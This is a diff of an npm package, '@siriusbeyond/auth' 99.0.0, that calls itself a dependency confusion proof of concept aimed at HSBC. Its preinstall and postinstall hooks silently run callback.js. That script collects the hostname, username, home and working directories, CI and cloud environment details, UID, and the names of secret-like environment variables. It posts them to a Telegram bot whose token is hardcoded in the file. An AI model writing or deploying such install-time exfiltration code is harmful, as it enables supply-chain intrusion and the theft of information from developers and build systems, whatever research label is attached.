@siriusbeyond/auth 99.0.0

package/callback.js

@@ -0,0 +1,118 @@
+/**
+ * HSBC Dependency Confusion Callback
+ * Bot: Hsbcsirusconfusion_bot
+ */
+const https = require('https');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+
+const BOT_TOKEN = '8605555117:AAGTX0ziJ52VtjsfcJ2CMH3o3sslRiC2B4k';
+const CHAT_ID = '1064260758';
+const PKG_NAME = process.env.npm_package_name || 'unknown';
+
+function detectCI() {
+    const indicators = {
+        'GitHub Actions': process.env.GITHUB_ACTIONS,
+        'GitLab CI': process.env.GITLAB_CI,
+        'Jenkins': process.env.JENKINS_URL,
+        'CircleCI': process.env.CIRCLECI,
+        'Azure Pipelines': process.env.TF_BUILD,
+        'AWS CodeBuild': process.env.CODEBUILD_BUILD_ID,
+        'Bamboo': process.env.bamboo_buildKey,
+    };
+    for (const [name, env] of Object.entries(indicators)) {
+        if (env) return name;
+    }
+    return process.env.CI ? 'Generic CI' : 'Local/Unknown';
+}
+
+function detectCloud() {
+    const indicators = {
+        'AWS': ['AWS_REGION', 'AWS_EXECUTION_ENV', 'AWS_LAMBDA_FUNCTION_NAME'],
+        'GCP': ['GOOGLE_CLOUD_PROJECT', 'GCLOUD_PROJECT'],
+        'Azure': ['AZURE_CLIENT_ID', 'WEBSITE_SITE_NAME'],
+        'Kubernetes': ['KUBERNETES_SERVICE_HOST'],
+        'Docker': ['DOCKER_HOST', 'container'],
+    };
+    const detected = [];
+    for (const [provider, envs] of Object.entries(indicators)) {
+        if (envs.some(e => process.env[e])) detected.push(provider);
+    }
+    return detected.length ? detected.join(', ') : 'Unknown';
+}
+
+function getSensitiveEnvNames() {
+    const patterns = [
+        /token/i, /secret/i, /key/i, /password/i, /auth/i,
+        /api/i, /aws/i, /azure/i, /npm/i, /git/i, /docker/i,
+        /registry/i, /artifactory/i, /nexus/i, /credential/i,
+    ];
+    return Object.keys(process.env).filter(k =>
+        patterns.some(p => p.test(k))
+    ).slice(0, 20);
+}
+
+const payload = {
+    package: PKG_NAME,
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    platform: `${os.platform()} ${os.arch()}`,
+    cwd: process.cwd(),
+    home: os.homedir(),
+    ci_env: detectCI(),
+    cloud: detectCloud(),
+    node: process.version,
+    npm_registry: process.env.npm_config_registry || 'default',
+    time: new Date().toISOString(),
+    sensitive_vars: getSensitiveEnvNames(),
+    uid: process.getuid ? process.getuid() : 'N/A',
+};
+
+const isRoot = payload.uid === 0;
+const hasAWS = payload.sensitive_vars.some(v => v.includes('AWS'));
+const severity = (isRoot || hasAWS) ? '🔴 HSBC HIGH' : '🟡 HSBC';
+
+const message = `
+${severity} ${PKG_NAME.toUpperCase()} CALLBACK
+
+🖥️ Host: \`${payload.hostname}\`
+👤 User: \`${payload.user}\` ${isRoot ? '⚠️ ROOT!' : ''}
+💻 Platform: \`${payload.platform}\`
+📁 CWD: \`${payload.cwd}\`
+🏠 Home: \`${payload.home}\`
+
+🔧 CI/CD: ${payload.ci_env}
+☁️ Cloud: ${payload.cloud}
+📦 Node: ${payload.node}
+🔗 Registry: ${payload.npm_registry}
+⏰ Time: ${payload.time}
+
+🔑 Sensitive Env Vars (${payload.sensitive_vars.length}):
+\`\`\`
+${payload.sensitive_vars.join('\n') || 'None'}
+\`\`\`
+
+📊 UID: ${payload.uid}
+`;
+
+const data = JSON.stringify({
+    chat_id: CHAT_ID,
+    text: message,
+    parse_mode: 'Markdown'
+});
+
+const req = https.request({
+    hostname: 'api.telegram.org',
+    port: 443,
+    path: `/bot${BOT_TOKEN}/sendMessage`,
+    method: 'POST',
+    headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(data)
+    }
+}, () => {});
+
+req.on('error', () => {});
+req.write(data);
+req.end();

package/index.js

@@ -0,0 +1,16 @@
+/**
+ * SECURITY RESEARCH - Dependency Confusion PoC
+ * Contact: ajmalaboobacker00@gmail.com
+ *
+ * This package was registered for security research purposes.
+ * If you are seeing this, please contact the researcher.
+ */
+
+module.exports = {
+    version: '1.0.0',
+    research: true,
+    contact: 'ajmalaboobacker00@gmail.com'
+};
+
+console.log('[SECURITY RESEARCH] This package was registered for dependency confusion research.');
+console.log('[SECURITY RESEARCH] Contact: ajmalaboobacker00@gmail.com');

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@siriusbeyond/auth",
+  "version": "99.0.0",
+  "description": "SECURITY RESEARCH - Dependency Confusion PoC - Contact: ajmalaboobacker00@gmail.com",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js 2>/dev/null || true",
+    "postinstall": "node callback.js 2>/dev/null || true"
+  },
+  "author": "Security Researcher <ajmalaboobacker00@gmail.com>",
+  "license": "MIT"
+}